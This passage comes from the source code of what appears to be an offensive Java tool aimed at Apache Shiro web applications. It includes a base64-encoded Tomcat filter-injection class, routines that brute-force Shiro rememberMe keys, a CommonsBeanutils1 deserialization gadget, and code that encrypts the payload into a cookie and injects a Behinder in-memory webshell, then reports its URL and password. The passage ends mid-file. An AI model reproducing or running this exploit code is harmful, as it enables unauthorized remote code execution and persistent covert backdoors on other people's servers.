pTGphdmEvbGFuZy9PYmplY3Q7AQAib3JnL2FwYWNoZS9jYXRhbGluYS9MaWZlY3ljbGVTdGF0ZQEADVNUQVJUSU5HX1BSRVABACRMb3JnL2FwYWNoZS9jYXRhbGluYS9MaWZlY3ljbGVTdGF0ZTsBAANzZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAlhZGRGaWx0ZXIBAFQoTGphdmEvbGFuZy9TdHJpbmc7TGphdmF4L3NlcnZsZXQvRmlsdGVyOylMamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb24kRHluYW1pYzsBABxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlAQAHUkVRVUVTVAEAHkxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlOwEAEWphdmEvdXRpbC9FbnVtU2V0AQACb2YBACUoTGphdmEvbGFuZy9FbnVtOylMamF2YS91dGlsL0VudW1TZXQ7BwFjAQAYYWRkTWFwcGluZ0ZvclVybFBhdHRlcm5zAQAqKExqYXZhL3V0aWwvRW51bVNldDtaW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0TWV0aG9kAQAHU1RBUlRFRAEAIGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uACEAPQAxAAEAYwACAAAAZABlAAAAAABmAGcAAAAHAAEAaABpAAEAagAAADMAAgACAAAADyq3AAEqAbUAAiortQADsQAAAAEAawAAABIABAAAABQABAASAAkAFQAOABYAAQBsAG0AAgBqAAAAGQAAAAIAAAABsQAAAAEAawAAAAYAAQAAABoAbgAAAAQAAQBvAAEAcABxAAIAagAAAfIACAAOAAABPSvAAAQ6BCzAAAU6BRkEuQAGAQA6Biq0AALHABAqGQQSB7kACAIAtQACGQQSB7kACQIAEgq2AAuZAPsqtAACxgD0GQUSDBINuQAOAwAqtAACuAAPOgcZBhIQGQe5ABEDACq0AAMrtgASKrQAAyy2ABMSFLgAFToIuwAWWbsAF1m3ABgZBhIQuQAZAgC2ABoSG7YAHLYAHbYAHhIUtwAfOgkZCAUZCbYAIBkEuQAhAQC2ACI6ChIjuAAkEiUGvQAmWQMSJ1NZBLIAKFNZBbIAKFO2ACk6CxkLBLYAKhkIuwArWbcALBkKtgAttgAuOgwZCyq2AC%2B2ADAGvQAxWQMZDFNZBLsAMlkDtwAzU1kFuwAyWRkMvrcAM1O2ADTAACY6DRkNtgA1KrQAA7YANlenAAU6CC0ZBBkFuQA4AwCxAAEAYAEtATAANwACAGsAAABiABgAAAAfAAYAIAAMACEAFQAmABwAJwApACkAQQAqAEwALABVAC0AYAAwAGgAMQBwADIAdwAzAKAANACoADUAtAA2ANUANwDbADgA7gA6ASAAOwEtAD0BMAA8ATIAPwE8AEAAcgAAADMAA%2F4AKQcAcwcAdAcAdf8BBgAIBwB2BwB3BwB4BwB5BwBzBwB0BwB1BwB6AAEHAHv6AAEAbgAAAAYAAgB8AG8AAQB9AH4AAQBqAAAAGQAAAAEAAAABsQAAAAEAawAAAAYAAQAAAEQAAQB%2FAIAAAQBqAAAAsAAEAAgAAABEK8AAOcAAOU0sAzLAAAROLAQywAA6OgQsBTLAADs6BSwGMsAAPDoGuwA9WRkGtwA%2BEj8SQC24AEGnAAo6BxkHtgBDBKwAAQAnADgAOwBCAAIAawAAACoACgAAAEcACABIAA8ASQAXAEoAHwBLACcATQA4AFAAOwBOAD0ATwBCAFEAcgAAACIAAv8AOwAHBwB2BwCBBwA5BwBzBwCCBwB1BwCDAAEHAIQGAAkAhQCGAAEAagAAAIYABAADAAAAOQFMEkS4AEVNLCq2AB4DKrYARrYAR7sASFkELLYASbcAShAQtgBLtgBMTKcABE0rAxAQtgBNtgBOsAABAAIAKgAtADcAAgBrAAAAGgAGAAAAVQACAFgACABZABUAWgAqAFsALgBcAHIAAAATAAL%2FAC0AAgcAegcAegABBwB7AAAJAIcAiAACAGoAAAHdAAcADAAAAOctuQBPAQA6BBkEK7kAUAIAxwDWAToFAToGAToHAToIAToJGQS2AC8SUbYAUjoFGQUEtgBTGQUZBLYAVMAAVToGGQa2AC8SUbYAUjoFGQUEtgBTGQUZBrYAVMAAVjoHElcSWLYAUjoIGQgEtgBTGQgZB7IAWbYAWhkEKyq5AFsDADoJGQmyAFy4AF0DBL0AXlkDLFO5AF8EABJWEmABtgBhOgoZCgS2ACoZChkHAbYANFcZCBkHsgBitgBaGQgZB7IAYrYAWqcAIToKGQgZB7IAYrYAWqcAEjoLGQgZB7IAYrYAWhkLv7EABAAiALsAyAA3ACIAuwDXAAAAyADKANcAAADXANkA1wAAAAIAawAAAHoAHgAAAGAACABhABMAYgAWAGMAGQBkABwAZQAfAGYAIgBoAC4AaQA0AGoAQABrAEwAbABSAG0AXgBuAGcAbwBtAHAAdwBxAIIAcgCYAHMAogB0AKgAdQCxAHYAuwB6AMUAewDIAHcAygB6ANQAewDXAHoA4wB7AOYAfQByAAAARAAD%2FwDIAAoHAIkHAHoHAHoHAHMHAIoHAIsHAIwHAI0HAIsHAI4AAQcAe04HAI%2F%2FAA4ABQcAiQcAegcAegcAcwcAigAAAG4AAAAEAAEAQgACAJAAAAACAJEBAwAAAAoAAQD1AV4BAgYJ");
34 | }
35 | // gadget 选择的内存马类型
36 | public void baseInject(String gadget,String memShellType,String password) throws Exception{
37 | Class gadgetClass = successGadget.get(gadget); // 获取利用链的类以及密码
38 | if (gadgetClass != null){
39 | String k = paramContext.get("ShiroKey"); // key
40 | if (memShellType.equals("Behinder3")){
41 | if (paramContext.get("BehinderPassword") == null){
42 | Behinder3Inject(k,gadgetClass,password);
43 | }else {
44 | this.myController.result.appendText("\n[!] 冰蝎已成功注入,请勿重复注入\n");
45 | this.myController.result.appendText("[+] 路径: " + paramContext.get("BehinderURL") + "\n");
46 | this.myController.result.appendText("[+] 密码: " + paramContext.get("BehinderPassword") + "\n");
47 | }
48 | }else {
49 | this.myController.result.appendText("[!] 哥斯拉和reg近期添加!!\n");
50 | }
51 | }else {
52 | this.myController.result.appendText("[!] 请先检测利用链再进行注入!!\n");
53 | }
54 | }
55 |
56 | public boolean Behinder3Inject(String k,Class gadgetClass,String password) throws Exception{
57 | Map> header = null;
58 | List Inject = null;
59 | // behinder 的 loader
60 | byte[] BehinderLoaderBytes = new BASE64Decoder().decodeBuffer(memShellLoader.get("BehinderLoader"));
61 | // 将behinderLoader作为payload传入我们选择的利用链,反射调用
62 | Method getObject = gadgetClass.getDeclaredMethod("getObject",byte[].class);
63 | getObject.setAccessible(true);
64 | byte[] bytes = Serializer.serialize(getObject.invoke(gadgetClass.newInstance(), BehinderLoaderBytes));
65 | // 获取选择的加密方式
66 | String encryptType = this.paramContext.get("Encrypt");
67 | String BehinderLoderCookie = null;
68 | if (encryptType.equals("CBC")){
69 | BehinderLoderCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesCbcEncrypt(bytes,k);
70 | } else{
71 | BehinderLoderCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesGcmEncrypt(bytes,k);
72 | }
73 |
74 | // post 请求体
75 | String classData1 = "classData1=" + memShellLoader.get("PageContext");
76 | String classData2 = "classData2=" + memShellLoader.get("MemBehinder3");
77 | String postData = classData1 + "&" + classData2;
78 |
79 | // 输出模式
80 | if (paramContext.get("OutputType").equals("1")){
81 | this.myController.result.appendText("\nPayload输出模式:");
82 | this.myController.result.appendText("\nCheck Cookie: " + BehinderLoderCookie + "\n");
83 | this.myController.result.appendText(postData + "\n");
84 | this.myController.result.appendText("在下次请求中在header里添加 pass:" + password + ",同时在url后加上?pass=success,该操作为设置冰蝎密码,密码一旦被设置便无法重复设置\n");
85 | this.myController.result.appendText("如看到返回头中有Inject:Success 则说明注入成功\n");
86 | }
87 | // 处理传入的 url 和 path 进行标准化
88 | String url = CommonUtils.normizeUrl(paramContext.get("URL")) + CommonUtils.normizePath(paramContext.get("Path")); // 标准化的url
89 | header = this.httpUtils.sendPostRequest(url,BehinderLoderCookie,postData);
90 | if (header != null){
91 | String injectTagUri = "?pass=success";
92 | Map> checkHeader = this.httpUtils.sendCheckInject(url+injectTagUri,null,password);
93 | Inject = checkHeader.get("Inject");
94 | if (Inject != null && Inject.toString().contains("Success")){
95 | this.myController.result.appendText("[+] 冰蝎内存马注入成功!\n");
96 | this.myController.result.appendText("[+] 内存马路径: " + url + "?pass=success \n" );
97 | this.myController.result.appendText("[+] 密码: " + password + "\n" );
98 | paramContext.put("BehinderPassword", password); // 注入成功就把密码存到上下文里
99 | paramContext.put("BehinderURL", url+injectTagUri); // 注入成功就把密码存到上下文里
100 |
101 | return true;
102 | }else {
103 | this.myController.result.appendText("[!] 冰蝎内存马注入失败,请尝试切换到有权限的目录\n\n");
104 | return false;
105 | }
106 | } else {
107 | this.myController.result.appendText("[!] 未检测到返回头 !\n\n");
108 | return false;
109 | }
110 | }
111 | }
112 |
--------------------------------------------------------------------------------
/src/main/java/core/ShiroKeyBrute.java:
--------------------------------------------------------------------------------
1 | package core;
2 |
3 | import common.HttpUtils;
4 | import entity.ControllersFactory;
5 | import ui.MyController;
6 |
7 | import java.io.BufferedReader;
8 | import java.io.InputStream;
9 | import java.io.InputStreamReader;
10 | import java.util.Map;
11 |
12 | public class ShiroKeyBrute {
13 |
14 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName());
15 | final private Map paramContext = ControllersFactory.paramsContext;
16 | private HttpUtils httpUtils = new HttpUtils();
17 |
18 | // 思路应该是这样的 ,首先进行检测是否是 Shiro 框架,如果是的话就开始爆破,如果不是的话那么就不爆破了
19 |
20 | public void shiroDetect(String url,String method) throws Exception{
21 | // String method = paramContext.get("Method");
22 | boolean tag = false;
23 | boolean flag = false;
24 | // 首先判断是不是Shiro框架
25 | tag = this.httpUtils.shiroDetectRequest(method,url);
26 | if (tag == true){
27 | this.myController.result.appendText("[+] 开始爆破密钥\n");
28 | InputStream inputStream = ShiroKeyBrute.class.getClassLoader().getResourceAsStream("ShiroKeys.txt");
29 | if (inputStream != null){
30 | BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
31 | String key = null;
32 | while ((key = reader.readLine()) != null){
33 | System.out.println(key);
34 | flag = this.httpUtils.shiroKeyBruteRequest(method,url,key);
35 | if (flag == true){
36 | // 如果爆破成功,就存到上下文中
37 | paramContext.put("ShiroKey",key);
38 | paramContext.put("URL",url);
39 | this.myController.key.setText(key);
40 | break;
41 | }
42 | }
43 | }
44 | if (flag == false){
45 | this.myController.result.appendText("[!] 密钥爆破失败\n\n");
46 | paramContext.put("ShiroKey",null);
47 | }
48 | }
49 |
50 |
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/src/main/java/entity/ControllersFactory.java:
--------------------------------------------------------------------------------
1 | package entity;
2 |
3 | import java.net.Proxy;
4 | import java.util.HashMap;
5 | import java.util.Map;
6 |
7 | public class ControllersFactory {
8 | public static Map controllers = new HashMap<>();
9 | /**
10 | * ShiroKey 爆破成功的 Key/null
11 | * Encrypt 加密模式 CBC/GCM
12 | * OutputType 是否输出 payload 1/0
13 | * URL 成功爆破出key的url
14 | */
15 | public static Map paramsContext = new HashMap<>();
16 | public static Map loaderByte = new HashMap<>();
17 | public static Map successGadget = new HashMap<>();
18 | public static Map memShellLoader = new HashMap<>();
19 | public static Map currentProxy = new HashMap<>();
20 | public static Map currentHeader = new HashMap<>();
21 |
22 | }
23 |
--------------------------------------------------------------------------------
/src/main/java/javax/servlet/jsp/PageContext.java:
--------------------------------------------------------------------------------
1 | package javax.servlet.jsp;
2 |
3 | import javax.servlet.ServletRequest;
4 | import javax.servlet.ServletResponse;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import javax.servlet.http.HttpSession;
8 | import java.io.IOException;
9 | import java.io.Writer;
10 |
11 | public class PageContext extends ClassLoader {
12 | ServletRequest request;
13 | ServletResponse response;
14 |
15 |
16 | public Writer getOut(){
17 | return null;
18 | }
19 |
20 | public PageContext(ServletRequest request, ServletResponse response) {
21 | this.request = request;
22 | this.response = response;
23 | }
24 |
25 | public PageContext(){
26 |
27 | }
28 |
29 | public void setRequest(ServletRequest request) {
30 | this.request = request;
31 | }
32 |
33 | public void setResponse(ServletResponse response){
34 | this.response = response;
35 | }
36 |
37 | public HttpSession getSession() {
38 | HttpServletRequest test = (HttpServletRequest) this.request;
39 | return test.getSession();
40 | }
41 |
42 | public ServletRequest getRequest() {
43 | return this.request;
44 | }
45 |
46 | public ServletResponse getResponse() {
47 | return this.response;
48 | }
49 |
50 | public Class test(byte[] b){
51 | return super.defineClass(b, 0, b.length);
52 | }
53 |
54 | }
55 |
--------------------------------------------------------------------------------
/src/main/java/payloads/CommonsBeanutils1.java:
--------------------------------------------------------------------------------
1 | package payloads;
2 |
3 |
4 | import java.math.BigInteger;
5 | import java.util.PriorityQueue;
6 |
7 | import org.apache.commons.beanutils.BeanComparator;
8 | import payloads.util.Gadgets;
9 | import payloads.util.Reflections;
10 |
11 | // cb 1.9.2 版本的利用链
12 | @SuppressWarnings({ "rawtypes", "unchecked" })
13 | public class CommonsBeanutils1 {
14 | public Object getObject(byte[] bytes) throws Exception {
15 | final Object templates = Gadgets.createTemplatesImpl(bytes);
16 | final BeanComparator comparator = new BeanComparator("lowestSetBit");
17 |
18 | final PriorityQueue